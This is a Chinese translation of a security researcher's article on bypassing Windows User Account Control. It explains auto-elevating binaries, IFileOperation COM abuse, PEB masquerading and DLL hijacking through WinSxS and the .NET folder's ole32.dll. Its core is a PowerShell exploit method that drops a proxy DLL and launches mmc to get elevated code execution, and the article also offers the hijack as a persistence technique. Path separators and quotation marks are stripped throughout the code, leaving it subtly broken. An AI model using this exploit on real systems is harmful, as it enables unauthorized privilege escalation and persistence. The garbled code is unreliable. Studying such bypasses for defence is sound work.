更多技術類文章--mottoin.com

歡迎各位作者到MottoIN投稿

想加QQ羣或微信羣的可以去原文鏈接查看加羣方式

原文鏈接:mottoin.com/90755.html

----------------------------------------------------------------------------------------------------------------------

前言

在這篇文章中,我們將討論UAC(用戶帳戶控制)繞過攻擊中涉及到的基本原則。UAC(User Account Control,用戶帳戶控制)是微軟為提高系統安全而在Windows Vista中引入的新技術,它要求用戶在執行可能會影響計算機運行的操作或執行更改影響其他用戶的設置的操作之前,提供許可權或管理員密碼。

UAC在Windows Vista中被引入,使管理員用戶能夠使用標準用戶許可權而不是管理許可權來對計算機進行操作。默認情況下,Windows上的初始用戶帳戶是管理員組的一部分,這只是一個簡單的要求。正是因為這樣,回到之前(Vista時代之前),開發人員傾向於用戶具有本地管理員許可權,在開發他們的應用程序時需要提升許可權。對此,官方的說法是UAC的引入是作為遏制這種行為並提供向後兼容性的方法。

儘管如此,UAC的直接好處是保護或提醒管理員用戶免受軟體組件執行的惡意提權行為。我認為UAC實際上是一個非常熟練的安全機制(如果我們忘記普遍存在的dll側面載入問題),任誰想爭辯說,這隻需要看看一些先進的惡意軟體工具包或者如Metasploit/Cobalt Strike等開源框架,其中包括了繞過UAC的機制。此外,我們不要忘記微軟已經修補了一大堆繞過漏洞,例如使用WUSA提取CAB文件到一個特定的路徑。無法實現可信的側面載入修復,如果實現了將會大大提高終端用戶的安全。

無論如何,UAC總是引發激烈的辯論,所以我不會再談論這個問題。讓我們挖掘一下這個「兼容性」功能的漏洞。

資源

  • Bypass-UAC (@FuzzySec)
  • UACME (@hFireF0X)
  • Bypassing Windows User Account Control (UAC) and ways of mitigation (@ParvezGHH)
  • Fileless」UAC Bypass Using eventvwr.exe and Registry Hijacking (@enigma0x3)
  • Bypassing UAC on Windows 10 using Disk Cleanup (@enigma0x3)
  • Bypassing User Account Control (UAC) using TpmInit (@Cneelis)
  • Inside Windows 7 User Account Control (Microsoft Technet)
  • Inside Windows Vista User Account Control (Microsoft Technet)
  • User Account Control (MSDN)

自動提升

這裡要理解的主要事情是,當進程正常啟動而不是提升特權時,管理用戶創建的進程令牌被剝奪了某些特權(例如:作為管理員運行..)。我們可以通過使用Get-TokenPrivs或Sysinternals過程資源管理器轉儲令牌許可權來輕鬆地驗證這一點。下面的屏幕截圖顯示了「cmd.exe」的兩個實例,一個正常啟動,一個作為管理員啟動。

從本質上說是屬於管理員組的用戶以與其他用戶相同的許可權管理其計算機。那麼,高許可權用戶和低許可權用戶之間有什麼區別?提權的操作仍然需要更改這個令牌,取決於UAC的設置,可以通知用戶/要求密碼。

但至關重要的是,在兩個UAC設置之間,其中之一是默認值,如果用戶屬於管理員組,Windows程序將自動升級。這些二進位文件可以通過轉儲其清單來標識,如下所示。

找到這些二進位文件的一個簡單方法是遞歸轉儲字元串並搜索「autoElevate> true」。這裡的邏輯是這些二進位文件是由微軟簽署的,考慮到他們的出處,並且用戶是管理員,沒有必要提示這個行為(換句話說,它是一個可用性功能)。

這似乎是合理的,直到你打開進程監視器並找二進位文件成功地載入他們需要的資源(不僅是dll,還有註冊表項)。不幸的是,這為惡意用戶提供了充足的劫持機會。

下面的例子顯示了一個眾所周知的情況,其中MMC用於提升RSOP,RSOP反過來試圖高完整性的載入「wbemcomn.dll」( =管理員)。

可笑的是,看著過濾的輸出,在這裡至少有三個其他的UAC 0days(..sign)。如果有人想提交pull請求繞過UAC,自己敲出來!

提權文件操作

你可能會想「這些dll都在一個安全的目錄」!像我們上面討論的二進位文件,也有自動提升COM對象。這些COM對象之一對我們特別有用,IFileOperation這個COM對象包含許多有用的方法,如文件系統對象(文件和文件夾)的複製/移動/重命名/刪除。

傳統上,攻擊者編寫的dll會實例化IFileOperation COM對象,並會執行將攻擊者文件移動到受保護目錄的方法(如上面例子的C:WindowsSystem32wbemwbemcomn.dll)。獲得COM對象自動將DLL注入到一個運行在一個可信目錄的媒體完整性過程,通常是「explorer.exe」( -> fdwReason == DLL_PROCESS_ATTACH)。示例dll源碼

然而,事實證明有一種更靈活的方式來保持IFileOperation方法,將DLL注入到任何地方而不會觸發警報。COM對象依賴進程狀態API(PSAPI)來標識它們正在運行的進程。有趣的是,PSAPI解析進程PEB以獲取此信息,但攻擊者可以獲取其自己進程的句柄並覆蓋PEB以唬弄PSAPI,作為結果任何一個COM對象都可從偽造的PID實例化。

我寫了一個PowerShell POC(Masquerade-PEB)來說明這一點。在下面的示例中,PowerShell被偽裝為explorer,Sysinternals進程資源管理器顯然也被欺騙了。

案例研究:winsxs,UAC 0day

在下面的案例研究中,我們將看看Windows並行(WinSxS)dll載入問題。WinSxS在Windows ME中引入作為所謂的「dll hell」問題的解決方案。基本上它類似於全局程序集緩存,當一個二進位需要訪問一個特定的庫,它可以參考它清單中的庫的版本,操作系統將繼續從WinSxS文件夾(C:WindowsWinSxS)載入相關的DLL。

對於我們的案例研究,我們將看看自動升級的Microsoft遠程協助二進位文件(C: Windows System32 msra.exe)。下面我們可以看到二進位文件的內容。

注意依賴部分,mrsa需要一些 「Microsoft.Windows.Common-Controls」 版本的庫。讓我們看看執行msra時進程監視器中會發生什麼。

msra尋找一個名為「msra.exe.Local」的目錄,當它找不到該文件夾時它會訪問「C: Windows WinSxS」,並載入它清單中指定的庫。開發人員進行調試時可以合法使用dotlocal文件夾。你可以猜測當我們創建以下目錄結構時會發生什麼。

如此多的* facepalm *,在這一點上我們需要做的是使用IFileOperation COM對象創建有payload DLL的文件夾並在命令行中執行MSRA,以此來繞過UAC。這有點過分簡單,因為有效載荷dll可能會轉發一些dll出口,但你得有想法。如果有人想提交pull請求繞過UAC,自己敲出來!

選擇WinSxS作為案例研究的原因是,當你開始看自動提升二進位文件時,你會逐字地看到這個問題。推薦閱讀KernelMode線程。

案例研究:通過.NET劫持Ole32.dll=> Bypass-UAC

因為這種類型UAC繞過的有很多活動部件(使用提升的COM),我創建了一個PowerShell框架來處理所有的累活。Bypass-UAC有幾個不同的組件:(1)Masquerade-PEB負責處理進程欺騙,(2) Invoke-IFileOperation暴露IFileOperation COM對象方法到PowerShell,(3)Emit-Yamabiko將payload dll存到磁碟。

在過去的案例研究,我找了一個相對簡單的UAC 「0day」,我想找到一個不需要我更新Yamabiko的東西,這將工作在x32 / x64 Win7-Win10上。最後,我解決了.NET框架濫用負載的行為。有很多的方法來觸發錯誤的載入行為,但是我們將使用MMC繞過UAC(* .msc)。

Profiling MMC:

讓我們看看在啟動「mmc gpedit.msc」時過程監視器中發生了什麼(過濾:命令行有「mmc」,名稱未找到,路徑有「dll」)。下面的截圖分別顯示了Win 7和Win 10的結果。

Win7

Win10

兩個操作系統版本有一些可怕的條目!然而,忽略oddballs和那些不重疊的條目,我們留下「MFC42LOC.DLL」和「ole32.dll」。MFC42LOC需要一些進一步的調查,我已經看過它幾次,但似乎沒有發揮好。另一方面,Ole32被證明是一個合適的選擇。

Hijacking Ole32:

我們需要解決的一個問題是,DLL顯然是從一個不同的目錄載入,一個簡短的調查顯示它默認的.NET版本文件夾查找ole32。我們可以使用以下PowerShell命令獲取該版本。

另一個不明顯的問題是,在Bypass-UAC中的Yamabiko代理dll打開PowerShell,PowerShell本身會引發這個錯誤載入bug從而導致無限shell彈出…,為了避免這種行為,我們必須檢測我們的payload dll被載入並刪除它,所以它只執行一次!

Bypass-UAC實現:

添加方法繞過UAC是很容易的,如果你想知道更多,請查看在GitHub上的項目!為了讓我們的bypass工作,我添加了以下方法,如果有任何問題,請隨時留言!

UacMethodNetOle32
{
# Hybrid MMC method: mmc some.msc -> Microsoft.NETFramework[64]..ole32.dll
# Works on x64/x32 Win7-Win10 (unpatched)
if ($OSMajorMinor -lt 6.1) {
echo "[!] Your OS does not support this method!`n"
Return
}

# Impersonate explorer.exe
echo "`n[!] Impersonating explorer.exe!"
Masquerade-PEB -BinPath "C:Windowsexplorer.exe"

if ($DllPath) {
echo "[>] Using custom proxy dll.."
echo "[+] Dll path: $DllPath"
} else {
# Write Yamabiko.dll to disk
echo "[>] Dropping proxy dll.."
Emit-Yamabiko
}

# Get default .NET version
[String]$Net_Version = [System.Reflection.Assembly]::GetExecutingAssembly().ImageRuntimeVersion

# Get count of PowerShell processes
$PS_InitCount = @(Get-Process -Name powershell).Count

# Expose IFileOperation COM object
Invoke-IFileOperation

# Exploit logic
echo "[>] Performing elevated IFileOperation::MoveItem operation.."
# x32/x64 .NET folder
if ($x64) {
$IFileOperation.MoveItem($DllPath, $($env:SystemRoot + Microsoft.NETFramework64 + $Net_Version + ), "ole32.dll")
} else {
$IFileOperation.MoveItem($DllPath, $($env:SystemRoot + Microsoft.NETFramework + $Net_Version + ), "ole32.dll")
}
$IFileOperation.PerformOperations()

echo "`n[?] Executing mmc.."
IEX $($env:SystemRoot + System32mmc.exe gpedit.msc)

# Move Yamabiko back to %tmp% after it loads to avoid infinite shells!
while ($true) {
$PS_Count = @(Get-Process -Name powershell).Count
if ($PS_Count -gt $PS_InitCount) {
try {
# x32/x64 .NET foler
if ($x64) {
$IFileOperation.MoveItem($($env:SystemRoot + Microsoft.NETFramework64 + $Net_Version + ole32.dll), $($env:Temp + ), ole32.dll)
} else {
$IFileOperation.MoveItem($($env:SystemRoot + Microsoft.NETFramework + $Net_Version + ole32.dll), $($env:Temp + ), ole32.dll)
}
$IFileOperation.PerformOperations()
break
} catch {
# Sometimes IFileOperation throws an exception
# when executed twice in a row, just rerun..
}
}
}

# Clean-up
echo "[!] UAC artifact: $($env:Temp + ole32.dll)`n"
}

案例結束,下面的屏幕截圖演示了在Windows 8(x64)和Windows 10(x32)上的繞過。

Win8 x64

Win10 x32

從另一方面來說,這是一個相當不錯的持久化機制。刪除ole32在.NET框架文件夾中封裝的DLL,計劃使用.NET在啟動/空閑時運行的任何事情。

總結

如果你做到這一步,我想你能明白為什麼微軟不承認UAC繞過。老實說,我認為,獲得UAC步入正軌的最好的方法是積極的補丁機制。

*來源:fuzzysecurity,Mottoin整理髮布


推薦閱讀:
相關文章